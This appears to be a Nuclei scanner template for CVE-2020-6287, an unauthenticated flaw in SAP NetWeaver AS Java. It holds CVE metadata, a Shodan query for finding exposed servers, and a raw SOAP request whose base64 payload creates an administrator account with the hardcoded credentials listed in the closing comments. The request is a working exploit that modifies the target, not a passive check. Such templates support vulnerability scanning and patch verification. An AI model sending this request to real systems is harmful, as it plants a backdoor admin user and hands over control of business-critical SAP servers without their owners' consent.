66 lines
4.4 KiB
YAML
66 lines
4.4 KiB
YAML
id: CVE-2020-6287
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info:
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name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition
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author: dwisiswant0
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severity: critical
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description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.
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impact: |
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Successful exploitation of this vulnerability allows an attacker to gain unauthorized administrative access to the SAP system.
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remediation: |
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Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability.
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reference:
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- https://launchpad.support.sap.com/#/notes/2934135
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- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
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- https://www.onapsis.com/recon-sap-cyber-security-vulnerability
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- https://github.com/chipik/SAP_RECON
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- https://nvd.nist.gov/vuln/detail/CVE-2020-6287
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2020-6287
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cwe-id: CWE-306
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epss-score: 0.97502
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epss-percentile: 0.99977
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cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.30:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sap
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product: netweaver_application_server_java
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shodan-query: http.favicon.hash:-266008933
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tags: cve,cve2020,sap,kev
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http:
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- raw:
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- |
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POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml; charset=UTF-8
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Connection: close
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
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CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
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</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "CTCWebServiceSi"
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- "SOAP-ENV"
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condition: and
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- type: word
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part: header
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words:
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- "text/xml"
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- "SAP NetWeaver Application Server"
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- type: status
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status:
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- 200
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# userName - sapRpoc6351
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# password - Secure!PwD8890
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# digest: 490a0046304402206c4b14491ea982f8a08dec5bcee88849e6ebc6b36ce428baa9d12c28e5893bb6022032ff0dcf67cb9db8e3042c6245bb9c3aa286d537c7f1c46e8a741f955b60bcb7:922c64590222798bb761d5b6d8e72950 |